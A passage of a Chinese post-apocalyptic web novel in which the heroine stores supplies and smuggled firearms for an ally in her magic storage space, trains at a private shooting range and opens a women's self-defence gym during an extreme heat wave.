回来的时候，她在楼下碰到了陆昼，他坐在轮椅上，脸上和裸|露在外面的皮肤上都涂着墨绿色的药膏，看起来非常吓人，像是毁容了。 要不是秦小薇对他还算熟悉，根本就认不出来他。 秦小薇：？？？ 几天不见，这家伙怎么坐上轮椅了，腿断了？ 他身旁的保镖推着轮椅进了电梯，秦小薇和他们一起进了电梯，她低头看着手机屏幕，并没有和陆昼打招呼，一副和他完全不熟的模样。 陆昼也没找她说话，只低头把玩着手腕上的手串。 到了九楼后，陆昼输密码去了奚川家，秦小薇则回了自己家。 她盯着门口的监控看了一会，发现陆昼只在屋里待了十来分钟，保镖就推着他出来了。 秦小薇想了一会，决定等陆昼主动联系她了，她再开始做清单上的事。 这家伙看起来一副惨兮兮的模样，别是翻车了…… 接下来几天，秦小薇几乎每天都要抽出一点时间跑健身房，几乎把宁市还在营业的健身房都光顾了一遍。 一周后，她收到了一条陌生号码发过来的短信。 【下来，我在楼下等你。】 秦小薇当时正和队友在副本里大杀四方，就直接忽略了这条短信。 几分钟之后，陌生号码的电话打了过来，接通电话后，陆昼的声音从听筒里传了出来：“秦小薇，你人呢？” 秦小薇的声音不急不缓：“原来刚刚那条短信是你发的啊！我还以为是谁发错了呢！等着啊，我打完这局就下去……” 陆昼：“… …” 秦小薇打完一局游戏，才收拾东西慢悠悠地下了楼，陆昼又换了一辆车，除了车标不太低调，款式还算普通。 她拉开车门，坐上了副驾驶，车里只有陆昼一个人，这回，他脸上没涂药膏，就是皮肤有点红肿，配合着之前被秦小薇揍的、还没完全消散的淤青，乍一看有点吓人，像是毁容了似的…… 秦小薇：“哟，能开车了？上次在电梯里看你坐轮椅，我还以为你腿断了呢？” 陆昼没理会她的阴阳怪气，直接启动了车子。 秦小薇：“我们现在去哪？” 陆昼：“带你去收物资，履行咱们的约定。” 秦小薇：“别说得这么肉麻兮兮的，什么约定？顶多算是合作条例……你的事情解决了？” 陆昼没解释太多细节，只轻轻回了一个“嗯”。 秦小薇：“我看中了楼下一家美容院，你帮我找下设计公司、装修公司、装修工人……还有，我缺一辆车，你帮我弄一辆！” 她的语气十分理所当然，似乎陆昼为她做这一切都是应该的。 陆昼：“你空间里不是有挺多车的，还缺我这辆？” 秦小薇翻了个白眼：“要是它们能拿出来用，我还会找你？” 陆昼转头看了她一眼：“需要我帮忙吗？我可以帮你改装……” 秦小薇有一瞬的心动，但也只是一瞬。 空间里的车不知道是什么黑科技，不需要能源就能启动，肯定比外面的电车、汽车方便，但它又太“方便”了，连驾驶座都和外面的车不一样，很容易引起其他人的怀疑。 再说了，她总觉得陆昼这家伙没安什么好心，肯定不是真的想帮她，而是另有所图。 她摇头拒绝道：“不用，你给我找辆普通的汽车就行了，不需要太贵的！” 陆昼有些遗憾地点点头：“行吧！明天给你送过来……香肠最近怎么样？” 秦小薇：“快玩疯咯，估计已经把你这个主人忘了……” 陆昼：“不可能！你别挑拨我们的关系！” 秦小薇无语：“实话实说而已，这就算挑拨你们的关系了？” 陆昼：“香肠再在你那里放几天，我过几天再接它回家。” 秦小薇无所谓地点点头，反正也养了这么多天了，不差这几顿饭。 他们最后到了郊外一家塑料工厂的门口，工厂已经停工了，不知道是不是陆昼特意安排的，工厂连个看门的保安都没有，两人一路畅通无阻地进了工厂的仓库。 陆昼带着她越过仓库里堆积的货物，朝着仓库最里面走去，他们从一道小门进了地下室，之后又连着过了好几道门，七绕八绕地走过好几条地下通道，才到达目的地。 秦小薇有些犯嘀咕，他这是生怕被人发现自己囤积物资了？藏得这么严实！ 陆昼指了指地上的十几个箱子，开口道：“东西都在这里了，收起来吧！” 秦小薇想到他们之前的约定，问他：“哪些是我的？” 之前他们说好了的，陆昼囤积的物资，她要拿一份作为保管物资的报酬。 陆昼似笑非笑地看了她一眼：“我倒是敢给，就怕你不敢要。” 秦小薇：？？？ 她觉察到了不对：“这里面是什么？” 说着，秦小薇直接从仓库里拿出一把水果刀，开始拆箱子，看到箱子里的东西后，她忍不住倒吸一口凉气：“陆昼，你之前给我看的证件该不会是假证吧？” 这家伙不会是混□□的吧？ 箱子里，赫然是一箱子|弹。 陆昼：“如假包换。” 秦小薇：“这些东西你从哪弄来的？我记得这些东西国内不让流通吧？” 难道这个世界还有什么她不知道的地下黑市？ 陆昼答得轻描淡写：“暴雨开始之前，上面从国外买了不少物资回来，我蹭了个船，也买了点……还敢要吗？” 秦小薇：“……”这种东西，和那些生存必需物资能一样吗？ 不过仔细想想，在某些国家，说不定它们还真是一样的，毕竟都是可以合法买卖的货物…… 秦小薇：“我有什么不敢的？” 大不了就一直在空间里放着吃灰，反正她不能吃亏！ 陆昼随便指了几个箱子：“这几箱给你，在空间里好好练练你的枪法，那段时间大宗货物特别多，查得没那么严，可不止我一个人弄了‘特产’回来……我可不希望以后乱起来了，你拿拳头去堵人家的枪|口！” 秦小薇：“……” 秦小薇：“陆昼，你该不会是想造反吧？” 陆昼嗤笑一声：“……就凭这几箱东西？你也太高看我了，我只是想自保罢了！” 秦小薇：这些还不够多？！ 好像和军队的装备比起来，这些确实只能算毛毛雨…… 秦小薇还是觉得陆昼不像好人，可能会用这些东西干什么坏事，但转念一想，东西都进她空间里了，拿不拿出来，还不是她说了算。 这家伙真要是想做什么坏事，她不把东西给他就行了，反正有空间这个作弊器在，他就算把枪顶到她脑袋上，也威胁不到她…… 收完了地下通道里的箱子，陆昼就带着她回到了车上，发现他们开始返程了，秦小薇有些惊讶：“没了？” 陆昼：“嗯，今天的活干完了！” 秦小薇：“我以为你会让我收一大批新鲜的食材进空间……” 陆昼的语气似乎有些遗憾：“温度太高，连海产都大面积死亡，现在新鲜的食物太难弄了，再看看吧！” 沿海地区在海上建了不少可移动的淡水厂，那边现在用水比Q省这种内陆地区富裕很多，普通人偶尔还能用淡水洗澡，物资也比这边丰富，国内很多人都想办法转移到了沿海地区。 不过温度太高了，浅海的生物也受不了这种高温，这段时间，时常能看到海鱼大批量死亡、飘在海面上的新闻…… 秦小薇：“米面粮油呢？你也不囤？” 其实她还挺希望他多囤点大米的，毕竟她还不知道要肝多久才能解锁水稻…… 陆昼：“早就囤好了，都在家里……我看看能不能再收一批，到时候再联系你。” 秦小薇：“行！” 回家后，秦小薇就联系了六楼公寓和美容院的房主，电梯都坏了，再安装电梯还不知道要扯皮到什么时候，房子不好租也不好卖，眼看着房价一天天往下跌，房主也很着急。 有陆昼给的那笔钱在，秦小薇很顺利地拿下了两套房子。 六楼的公寓里没有太阳能发电板，因为长时间空置，玻璃也被晒爆了，加上九楼的房租还没到期，秦小薇也就没急着搬下去。 陆昼的效率很高，她前脚拿到房产证，后脚就有设计师联系了她。 设计师就在宁市，秦小薇直接开车去找了她，和她聊了好几个小时，说了自己的需求。 几天之后，设计师出图，陆昼找的施工团队也到了。 关于健身器材的选择，秦小薇还询问了范槿的意见，毕竟她是在运动器材公司实习的，对这方面还算了解。 营业执照是找陆昼帮忙办的，但健身房的装修，秦小薇几乎是全程监工，同时，她还得招聘健身教练 、关注罗青那边的情况、进货…… 现在外面很多人失业，再加上她有Q大的人脉，招人并不难，但杂事太多了，她几乎是忙得脚不沾地。 连香肠的狗饭都是胡乱水煮的一锅出，要不是答应了陆昼不给拉布拉多吃能量饼干，她都想用能量饼干凑合了！ 不过就算是这样，她的拳击课依旧没有落下，每天雷打不动，硬是挤出两个小时练拳…… 就连陆昼找她收物资都等了好几天才等到她有空。 陆昼：“香肠呢？把它放出来吧，我今天可以带它回家了。” 秦小薇直接把香肠放到了后车座，看到她之后，香肠甩着尾巴就要来扑她，却被秦小薇用手抵住了脑袋。 这家伙的毛特别硬，还扎人，最近还有点掉毛……她并不想弄一身狗毛。 秦小薇：“乖一点，坐好！” “汪——”拉布拉多老实在后车座坐下，甩着尾巴看着秦小薇，完全忽略了陆昼这个主人。 陆昼：“……” 他侧身看向后车座，朝着拉布拉多伸出右手，冷肃道：“香肠，握手！” 拉布拉多不情不愿地把爪子搭到他的手上。 看到他吃瘪，秦小薇非常开心：“我说了吧！它在我空间里快要玩疯了，都快忘了你这个主人了哈哈哈哈哈……” 陆昼：“闭嘴！” 秦小薇：“快出发，我待会还要去谈一批运动器材，忙着呢！没太多时间和你耗……” 陆昼嫌弃道：“不是给你找了装修公司了？把活扔给他们不就行了！什么事都亲力亲为，你也不嫌累？” 秦小薇：“他们定的运动器材不行，我要专门针对女性的运动器材……” 第58章 第58章射击馆（双更合一）…… 陆昼开着车,带着秦小薇去了上次去过的那家工厂，和上次一样，工厂里依旧没有人,不过院子里多了几辆大货车。 秦小薇：“怎么又来这？这家工厂是你开的？” 陆昼：“不是,我爸开的。” 秦小薇：“……”那和他自己开的也没什么区别！ 陆昼打开后车厢的锁,冲着秦小薇开口道：“最左边那辆是给你的，剩下的是我的物资,你记得分开放,别弄混了。” 秦小薇看着车厢里码放得整整齐齐的箱子有些犯难：“这些东西，保质期怎么样？” 陆昼：“不知道,我找人帮我收的，但都还没过期……怎么了？” 秦小薇：“我空间里倒是有地方，但东西放空间里,过了保质期也是会坏的,保质期比较短的东西只能放仓库里，但是仓库格子数量有限，放不了这么多箱子……我能直接把车收进仓库里吗？” 陆昼毫不犹豫地点头：“可以,我再买几辆新的还给司机就行了。” 可能是因为这几辆卡车的型号都一样，卡车收进仓库之后,竟然只占了一个格子！ 秦小薇对陆昼的办事效率非常满意,这两次收物资，就路上花了点时间，到地方之后,基本上都是几分钟解决战斗。 秦小薇：“行了，你直接送我去红浦区的青风路34号，我和人约好了在那边谈事……” “嗯。”陆昼应了一声。 上车后，两人才发现,之前秦小薇下车的时候车门没关严实，香肠不知道什么时候从车里跑了出来，现在已经没影了。 秦小薇看了看黑黢黢的工厂，有些心虚：“你的狗不会撒手没了吧？” 陆昼没有回话，他吹了个口哨，拉布拉多就从黑暗里钻了出来，嘴里似乎还叼了个东西…… 香肠走到秦小薇面前，吐出了嘴里的东西。 是一只浅黄色的小鸟，毛发非常漂亮，但它的翅膀似乎受了伤，躺在地上扑腾着半边翅膀挣扎着。 秦小薇：“香肠，这是你送给我的猎物吗？我不吃鸟……” 陆昼：“……这是它救回来的小伙伴，它是让你给它治伤，不是让你吃的！” 香肠“汪——”了一声，似乎是在附和陆昼。 秦小薇：“……” 她回忆了一下，香肠似乎是有救小动物的“前科”，之前暴雨的时候，它还救了一只小奶猫…… 秦小薇有些为难：“我又不是兽医，话说现在还有兽医诊所开业吗……陆昼，你的狗救回来的小伙伴，应该由你来负责吧？” 说到后面，她逐渐理直气壮。 陆昼头疼地揉了揉眉心，他教训拉布拉多：“香肠，我是不是说过，不许捡乱七八糟的东西回来！” 拉布拉多没理他，依旧盯着秦小薇。 被它这么盯着，秦小薇忽然觉得压力有点大，她忍不住别开脸，不看香肠的眼睛。 她进空间找了个纸箱出来，她把小鸟捧进纸箱，放在后车座上：“我放这了，救不救随你！” 陆昼：“……” 路上，陆昼问她：“你的枪法练得怎么样了？” 秦小薇：“……” 他给的那几箱武器，连零件都是分开来的，得自己组装，她从没接触过这些，根本不会组装。 上网搜了一下，找到的教程也有点对不上，组装完，总是有零件多出来。再加上最近要忙健身房的事，空间里也没有靶子让她练习，秦小薇就没花时间研究，直接搁置了。 看到她的反应，陆昼直接递给她一张名片：“这个地方可以练枪，还有专门的教练，你拿着这张名片去练练……” 秦小薇接过名片看了一眼，是一家射击馆的名片。 她有些怀疑地看着他：“你会这么好心？” 陆昼：“我只是担心你哪天死了，连带着我的物资也一起没了！” 秦小薇：“……” 虽然这家伙说话有点难听，但他也没理由害她，现在，他们也算是一条绳子上的蚂蚱了。 两次见面，他都强调了让她练枪，秦小薇还是决定有时间就过去看看。 毕竟他的消息渠道比她多，还有末世十几年的经验，他这么强调，肯定有他的道理。 再说了，多学一点东西，在末世里也多一份自保之力！ 秦小薇：“知道了，我尽量抽时间过去练！” 到了目的地后，秦小薇拍拍屁股就下车了，徒留一人一狗在车里对着受伤的小鸟大眼瞪小眼。 陆昼：“……最后一次，下不为例。” “汪——” 谈完了买设备的事，秦小薇就直接回公寓了。 她很好奇陆昼给她的那车物资里都有什么，到家后，她就直接进了空间。 卡车很大，虽然每个箱子都差不多，但里面装的东西却不尽相同。 秦小薇花了点时间，把箱子里的东西都检查了一遍。 有个箱子里全是加厚的鹅绒服、鹅绒裤、羊毛衫、羊毛裤…… 今天外面的最高温是54℃，秦小薇光是看着这些衣服，就觉得热。 她没试，只把衣服拿出来往自己身上比了比，惊讶地发现，箱子里的衣服竟然全是照着她的尺寸买的。 除了衣服，还有一箱一次性穿戴式暖宝宝。 这么多保暖装备，难道之后还会有极寒天气？ 还有两个箱子全是药品，她翻了一下，大多是常用药，按照她以前的生病频率，这两大箱药放在仓库里，够她过完这辈子了！ 装药的箱子里还放着十几盒一次性医用口罩，加起来一千多个，非常显眼。 箱子里的大头是一些真空包装的粮食，除了米面之外， 还有一些乱七八糟的杂粮。 除此之外，还有一些常见的调味品、卡式炉气罐、生活用品，杂七杂八地装在一起…… 之后，她又翻了翻陆昼的物资，他那几车物资的种类更丰富，他甚至还囤了一车狗粮、狗零食和宠物吃的营养品…… 秦小薇：他对香肠可真上心啊！这一车东西，香肠这辈子能吃完吗？ 陆昼给自己准备的药品的种类也更全，常见药和不常见药都有，算是PLUS版的，连一些简易的手术器械都有！ 她略微看了看，见箱子里没藏什么“危险物品”，就把它们物归原位了。 接下来几天，秦小薇照旧是把重心放在健身房上面。不过，她中途抽了点时间去了趟陆昼推荐的那家射击馆，射击馆离她的公寓有点远，开车要半个小时左右才能到。 她来之前在网上搜了下这家射击馆，并没有找到相关的信息。 射击馆的地下停车场里停着的车都不便宜，基本上百万起步，陆昼给她准备的银色SUV，在一众豪车中显得十分格格不入。 秦小薇猜测，这里应该是一家只对有钱人开放的私人射击馆。 进入射击馆后，秦小薇直接把名片递给前台：“你好，这里有教练可以教射击吗？” “您稍等。”前台登记了她的信息后，把她的名片换成了一张烫金的会员卡，“女士，我们射击馆是会员制的，需要先充值，最低充值金额是五十万，请问您要充值多少？” 秦小薇差点以为自己幻听了：“多少？！” 前台小姐姐露出八颗牙齿的标准微笑：“女士，会员初次充值，最低充值金额是五十万。” 秦小薇：“……” 她纠结了一会，还是决定冲了，既然陆昼推荐了这家店，应该有他的理由。 要是这钱打水漂了，她就去找陆昼，把钱要回来！ 唉！之前还觉得一千万很多，买了房子之后，就只剩不到一半了，现在又冲了会员卡，之后还要付装修工人的人工费、设备的尾款……等正式开业了，不知道她手上的钱够给员工发多久工资？ 唉，创业可真费钱啊！ 刷完卡之后，前台带着她去找了教练，路上，秦小薇和她打听了一下这家射击馆的情况，她也没有隐瞒，秦小薇问什么她说什么。 这家射击馆和外面那些面向大众的低阶馆子不一样，这里都是实弹射击，老板有关系，教练都是部队里退下来的，得靠熟人介绍才能成为会员…… 因为是实弹射击，这里的价格也贵得惊人，子|弹都是按颗算的，按照枪支的型号不同，每颗子|弹的价格从20到50不等！ 听说有些会员，一次就要用掉几百颗子|弹。 秦小薇：按照这个物价算的话，首次充值50万好像也还行？还不够她练两个月！ 因为是实弹射击，这里的枪都拴着链子、挂着锁，枪支连随意挪动都做不到，现在外面的温度太高了，射击馆的户外射击场并没有开放，只开放了室内的部分。 射击馆的空调开得很足，里面一点都不热，休息区还有不少人在聊天吃东西，桌上摆着不少小吃和饮料，这里的客人看起来很“干净”，状态也十分放松，和外面那些好几天没洗澡，身上脏得能搓泥的普通人完全不一样。 教她的教练是个皮肤略有点黑的中年男人，他上半身虬结的肌肉几乎要撑爆他的短袖，一看就是个练家子。 知道秦小薇是个新手，以前从来没碰过枪，教练便从最基础的开始教她…… 这里一节课不便宜，子|弹更是贵得吓人，为了不浪费钱，她听得非常认真，恨不得拿笔记本把教练说的每一句话都记录下来…… 中途她去上厕所的时候，发现射击馆的厕所竟然没有断水，厕所都是干干净净的，还点了香薰！ 她问了教练才知道，原来射击馆的老板弄了个大水箱放在楼上，连上水管，每天花高价买水灌水箱，造成还没停水的“假象”。 秦小薇：难怪这地方收费这么高，这服务是真的好啊！ 人还是要有钱！有钱人和没钱人的生活简直天差地别，尤其是现在这种时候…… 子|弹的价格太贵了，秦小薇每次扣动扳机前都十分谨慎。 她对自己的成绩不是很满意，打了好几梭子|弹，一发九环、十环的都没有，好几枪还打在了靶子的边缘位置。 但教练却说她第一次摸枪，一枪都没有脱靶，已经很不错了。 手枪的后坐力很大，她第一次玩枪，还有些不习惯，在射击馆待了一个多小时就回公寓了。 上楼之前，秦小薇去了趟楼下的便利店买能量饼干和水。 今天货架上出现了两种不同包装的饮用水，看到新包装上醒目的“淡化水”几个字，秦小薇的脚步停顿了一下，是她空间里那种淡化水吗？ 出于好奇，她拿了一瓶淡化水。 结账的时候，售货员小哥提醒她：“美女，这个水有股怪味，很难喝的，你拿之前那款吧！” 见售货员小哥这么说，秦小薇也没有头铁非要尝尝，她换了一瓶矿泉水：“以后咱们这是两种水混着卖吗？” 售货员小哥叹了口气：“等这批矿泉水卖完了，就只有淡化水了！本来能量饼干就不好吃，现在还得喝带着腥味的淡化水，这日子真是越过越没有盼头了……” 秦小薇顺嘴安慰了他一句：“等高温结束就好了！” 售货员小哥：“高温能不能结束还是个未知数呢！都两个多月了，今天刷新出来的气温还是五十多度……” 第二天傍晚，秦小薇看到寝室群、年级群、班群都在讨论淡化水的事。 为了供应高温后普通公民的用水，官方很早就在船上建立了很多可移动的海水淡化厂，库存的水喝完了，普通人就得靠淡化过的海水维持生命。 这个星球上，海洋资源十分丰富，就算高温持续一两年，海水一时半会也不会干涸……算是给了高温中的普通人一线生机！ 【肖琳琳：今天食堂卖的淡化水好难喝啊！一股鱼腥味！】 【肖琳琳：食堂阿姨说之前的水都卖完了，以后都只有这种淡化水，想想就很绝望……】 【秦小薇：慢慢会习惯的……听说沿海地区早就开始喝这种水了。】 这段时间，因为忙健身房的事，秦小薇和几个室友的交流都少了很多。 她们倒是都知道她在忙健身房的事，她一个父母双亡的孤儿，忽然拿出一大笔钱不太好解释，秦小薇对外说的都是，她是店长，健身房是帮其他人打理的。 室友们都很惊讶她的“转变”，她们都知道，秦小薇之前的目标是开一家小店创业，非常讨厌打卡上班，现在忽然去给“别人”打工，算是和她之前的目标完全相悖！ 秦小薇对她们的解释是，现在粮食管控得太厉害了，她弄不到货源，暂时只能打工过渡一下。 现在外面温度太高，再加上高温已经死了不少人，普通人外出工作的意愿大大降低，导致商品运输困难，虽然货币体系并没有崩塌的迹象，但很多东西都涨价了，想要维持一定的生活水平，不赚钱根本不行！ 室友们也没有怀疑她的说法。 【肖琳琳：不想习惯！还好寝室还有好几桶水，用净水片处理一下就能喝了，希望它们能坚持得久一点……】 【范槿：我家附近也上新了淡化水，不过我还没买，味道真的这么可怕吗？】 【秦小薇：第一口确实有点难喝，但我看到网上说放点茶包或是别的什么做冷泡茶，能把味道盖住。】 秦小薇说的是她自己的经验，她空间里的海水淡化设备很早之前就投入使用了，她甚至用净化过的水做过好几顿饭。 【范槿：真的吗？我现在就去超市！】 【肖琳琳：我也去！】 接下来半个月，秦小薇每天都会去一趟射击馆，教练费和子|弹太贵了，她充的五十万会员费以肉眼可见的速度不断减少。 练习得多了，她比第一天的时候进步了很多， 不过她的大部分精力依旧放在健身房上，装修工人的效率很高，健身房很快就装修好了，设备也都进场了。 除了健身设备，健身房里还专门开辟了一个区域售卖防身物品和各种运动装备。 刚刚开始装修的时候，秦小薇就在同城APP上专门开了一个账号，提前宣传预热，效果还不错，很多路人都表示愿意过来体验一下…… 健身教练基本 上已经找齐了，有几个是她同专业的学姐，还有两个是学院老师介绍的专业拳击手，前台和财务也都找好了，就差开业了。 这期间，陆昼倒是没再出现过，像是人间蒸发了一般。 秦小薇也乐得他不来找自己，就当他不存在了，也没主动联系过他。 秦小薇并不打算立即开业，她想先试营业半个月，看看有没有什么问题，遇到问题整改之后，再正式营业…… 试营业的前一天，秦小薇接到了陆昼的电话：“现在有时间吗？找你有点事！” 店里的事前几天就定下来了，她今天唯一的工作，就是等明天正式营业。 秦小薇：“有时间，你过来吧！到楼下了给我打电话！” “嗯。” 半个多小时后，秦小薇上了陆昼的副驾驶，她看了眼车后座的拉布拉多，忍不住吐槽：“你办事都喜欢带狗吗？” 上次也是，过来威胁她，也带着拉布拉多，它要是忽然嚎两嗓子，那也太引人注目了！ 一个多月没见，拉布拉多看到她依旧十分热情，粗壮的尾巴把真皮座椅打得“啪啪”响。 陆昼：“我去接它下班，就顺道带着它过来了。” 秦小薇有些好奇：“下班？香肠也要上班？它的工作内容是什么？” 陆昼：“最近是跟着执勤人员一起巡逻，主要是找居民楼里有没有人死在家里没被发现，要是尸体放太久了，会有点难处理，它鼻子很灵，尸臭味一闻就闻出来了……” 秦小薇：“……香肠跟着你真是辛苦了！” 让一只嗅觉灵敏的狗去闻尸臭味，这也算是一种摧残吧？ 陆昼：“那可不一定……跟着我天天有活干，它说不定会觉得很开心！” 秦小薇想到以往拉布拉多一只狗在空间里疯跑的画面，觉得陆昼说的可能也有点道理，毕竟这家伙精力挺旺盛的！不让它发泄出来，估计就要拆家了！ 吉普车在路上开了一个多小时，依旧没有停下来的迹象，秦小薇忍不住皱眉：“这次不是去工厂？” 陆昼点头：“我弄到了一批蔬果，司机在高速那边等着我们过去取。” 秦小薇有些惊讶：“现在还能弄到蔬果？” 极端高温已经持续了三个多月了，城区内的植物几乎全部枯死，现在宁市的各大超市已经看不到新鲜的蔬果了，超市的货架全被清空了，各种干货、米面因为没有补货，也停止售卖了。 现在宁市就连大超市，也只能买到能量饼干、淡化水和一些生活用品。 陆昼：“是实验室之前研究出来的耐高温品种，产量不高，目前只在内部特供，普通人想买，估计得等高温结束……” 秦小薇：“……”吃个菜而已，还把人分成三六九等了？ 秦小薇：“是李阿姨家种的那些？” 陆昼：“嗯。” 每次碰到这种事，秦小薇都会觉得不舒服，就算她现在勉强也算是特权阶级中的一员了，她依旧不喜欢这种事。 之后一段路，她一直托着下巴安静看着窗外一闪而逝的摇曳树影，没再开口说话，车里也变得异常安静。 司机赶着去下一个地方送货，他俩到的时候，司机已经把装蔬果的箱子搬下来了，看到他们开的吉普车，司机有些犯难：“你们这车太小了，装不下这么多东西吧？” 陆昼：“没事，后面还有一辆小卡车，我怕你等急了，先过来了！” 他从后车座拿出一个黑色的背包，从里面拿出十几沓钱递给司机：“货款。” 秦小薇看得咋舌，这批蔬果，放在暴雨之前，一千左右就能拿下，现在竟然要十几万！ 关键是，陆昼这家伙竟然眼也不眨地就把钱付了！ 如果不是条件不允许，秦小薇都想倒卖空间里的蔬果了。 因为她最近真的花得有点多……高温后人工费暴涨，她给装修工人开的工资比装修材料还要贵！ 还有射击馆，里面一杯冲泡的饮料都能卖一千多，简直就是在抢钱！ 第59章 第59章海鲜餐厅（双更合一）…… 司机的车上甚至还带着点钞机,用点钞机把那几沓钱点了一遍后，他就上车离开了。 等货车彻底消失在他们的视线中，陆昼才看向秦小薇：“这些先放你空间里,我再带你去收几辆车放这些蔬菜。” “嗯。”秦小薇收完了菜,他们又开车去了上次那家工厂。 路上,秦小薇忍不住开口问他：“这么久没见，你就弄了这么几袋蔬果？” 陆昼：“最近有点忙,没时间收物资,等过段时间空闲了再说吧！” 秦小薇有些好奇，都末世了,还有什么事比收集物资更重要？这家伙看起来也不像是什么爱岗敬业的人…… 秦小薇：“忙什么？” 陆昼：“抓邪教成员。” “抓什么？”秦小薇差点以为自己听错了。 陆昼：“高温持续太久了，很多人看不到希望，觉得末世真的要来了,尤其是那些住在鲱鱼罐头里的普通市民,因为生活环境差，情绪非常消极……有人利用我们预警中心的名义，在外面装神弄鬼,把里面那些老头老太太骗得团团转，骗钱骗粮,等人榨干了,就给他们洗脑，忽悠他们自杀……” “还有人利用我们预警中心的名义，把自己当河伯,在乡下搞什么妙龄少女活祭求雨……反正就是各种牛鬼蛇神多得很！” 他说话的时候，满脸都是嫌恶，显然是很恶心这种事。 想到临时避暑点的环境，秦小薇觉得,他用鲱鱼罐头来形容还有点贴切。 不过……活人献祭求雨？这都什么年代了，还有人相信这个？ 听到这些邪教组织的行为，秦小薇也忍不住皱眉：“人都抓到了吗？” 陆昼：“应该差不多了，那些人蠢得很，以为现在治安混乱，警察腾不开手抓他们，特别明目张胆，连行踪都不遮掩……” 秦小薇松了口气：“人抓到了就好！” 陆昼的表情却不是很乐观：“就怕以后春风吹又生！” 秦小薇不满道：“人不是都抓到了吗？你怎么还一直说丧气话，你这个人也太消极了！” 陆昼：“合理推测罢了……你的枪法练得怎么样了？” 秦小薇：“练着呢！陆昼，你推荐的那家射击馆好贵啊！子弹竟然是论颗卖的……” 陆昼：“价格虽然贵，但至少摸的是真枪，国内和国外情况不一样，能接触到实弹射击，你就偷着乐吧！” 确实，她在网上都没找到宁市其他的实弹射击馆，因为审批困难、经营门槛高，国内其他地方的实弹射击馆，能在网上搜到的也少得可怜，要不是有陆昼给的名片，她连门都摸不到…… 但还是好贵！ 秦小薇：“对了，不是还有两个月高温就结束了，你们预警中心怎么不宣布这个消息？有了希望，人心应该就没那么浮动了吧？” 陆昼：“这事已经在安排了，应该快了！上面一道命令，下面很多部门都要配合做调整，这事不是你想得那么简单的，发条消息出去就万事大吉了……” 这次，陆昼还给她准备了十几辆崭新的大卡车，说是让她放在仓库里扩充格子存物资，免得之后每次都要另外准备车。 秦小薇：“这么大手笔？” 陆昼：“都是泡过水的，不值多少钱。” 秦小薇很惊讶：“你还会省钱？” 陆昼看了她一眼：“我很好奇……我在你心里到底是个什么形象？人傻钱多的冤大头？” 秦小薇的视线有些飘，她转移话题道：“那个，事情已经办得差不多了，我们回去吧！明天健身房开业，我还有很多事要做！” 陆昼也没非要问出一个结果，拉开车门就上了车。 时间很快就到了第二天傍晚，傍晚六点半，健身房准时开始营业，虽然网上的宣传效果还不错，但她前期投入了太多心力，真到了这一天，秦小薇还是有点紧张的，担心她的健身房会经营不善倒闭。 幸运的是，开门后没过多久，就有客人上门了。 “你好，我在网上团了一节体验课，请问可以用吗？” “这里是阳光女子健身房吗？” “……” 秦小薇之前就和健身房的教练商量过，针对现在女性容易遇到的危险，在团购软件上上架了一节针对性的防身体验课，课程内容是秦小薇和几个教练反复研究后定下来的，学员们学了之后，回去好好练习，形成肌肉记忆，遇到危险的时候，是能帮助她们赢得一线生机的。 价格也不贵，算是引流。 她是店长，并没有打算当教练卖课，第一天营业，她基本上没离开店里，看哪里需要帮忙就过去搭把手，然后把店里经营遇到的某些问题默默记录下来…… 但出乎她的意料，除了引流的体验课，她们店里卖得最好的，竟然是她精挑细选的各种防身用品，除了女孩子，还有男的过来买。 这才第一天试营业，库存就没了大半！ 看来最近外面越来越不安全了，连单身男性都开始担心自己的安全了！ 快下班的时候，她接到了罗青的电话：“薇薇，赵博说要和我离婚，还说要给我一笔钱和一套房子，放我去追求我想要的生活……” 今天的试营业十分顺利，罗青那边也传来了好消息，秦小薇十分开心：“罗青姐，你要稳住，千万别轻易答应了，免得被他发现什么不对劲。” 上次两人在秦小薇的公寓聊过之后，罗青就跟着赵博回家了。 但回去之后，她并没有像以前一样，小心翼翼地讨好赵博，免得惹他生气挨打。 她反而变得和赵博一样，展现出对他的“占有欲”和“控制欲”，她开始查赵博的手机、行程，稍微有点风吹草动，就发疯怀疑他在外面有了别的女人，还会半夜拿着菜刀坐在他床头，阴森森地盯着他…… 除了没有主动动手，罗青几乎是把赵博之前PUA她的那一套，在他身上全部施展了一遍。 期间，赵博也怀疑过她是不是故意的，还想借着酒劲和她动手，但罗青前段时间和秦小薇学的那些东西派上了用场，她几乎每次都能挣脱逃跑，然后等秦小薇过来帮忙…… 在秦小薇的“帮助”下，罗青有时候甚至还能“反杀”赵博，把赵博揍一顿。 这段时间，赵博虽然接回了老婆，生活却变得水深火热……有时还得遭受身体和精神的双重折磨。 秦小薇觉得，最好的报复，就是让他体会到同样的绝望！ 有些人，刀不扎到自己身上，是真的不会觉得疼！ 罗青：“我知道！马上就要成功了，我肯定不会在这个时候掉链子！” 挂断了电话，秦小薇又联系了一下生产防身物品的厂家，让他们明天再送一批货过来。 宁市没有专门做这些东西的厂家，这些都是她一个个打电话，联系省内其他的厂家买的，因为要看样品，一来一回折腾了好多天。 再加上现在运输费很贵，成本也不低。 好在今天销量不错，看现在的情况，应该不会砸手里。 关门后，秦小薇查了下今天的收入，今天的收入大头是各种防身物品。 运动装备的销量一般，像小型电弧棒、多功能防身戒指、项链之类的便携防身物品，几乎快要卖光了。 其次就是卖课，可能是因为体验课的质量很高，超过四分之一的顾客，在体验课结束之后，都选择正价买课。 这个留存率，算是很高了。 因为办了会员卡之后，只能免费过来练习，再加上她的健身房又开在六楼，外面温度又高，出门等同于受刑，单纯办会员卡的顾客倒是不多…… 今天一晚上干下来，店里的营业额竟然有十多万！ 除去给教练的分成和经营成本，她能赚到不少……照着这个趋势发展下去，至少她不用担心员工的工资发不出来了！ 慢慢地，也能收回成本，盈利是迟早的事。 回家后，秦小薇又复盘了一下今天的试营业，打开电脑，剪了个视频宣传。 剪视频的时候，秦小薇才发现，晚上太忙了，她都没拍多少素材。今天拍的素材，只能勉强剪个十几秒的视频…… 健身房的位置并不好，还是在六楼，就算她的经营理念很符合现在很多普通人的需求，还是宁市唯一一家主打女性安全的健身房，但酒香也怕巷子深，不打广告真的很难拉到新客户。 秦小薇觉得，健身房要专门找个人负责宣传，她是老板，把握大方向就行了。 她在网上发布了一个招聘启事。 她想了想，又打开聊天软件，在寝室群里发了条消息。 【秦小薇：阿霞，你这几天有没有空，能不能来健身房帮我拍点视频素材？给你包饭。】 【范槿：薇薇，为什么不找我？拍视频我才是专业的！】 【秦小薇：饭饭，你不是住家里吗？过来不方便吧？】 【范槿：没事，我可以让我堂哥送我过去，他和我大伯来宁市看病，现在住在我家，明天去医院刚好顺路。】 【秦小薇：行，那你来吧！】 【范槿：OK！】 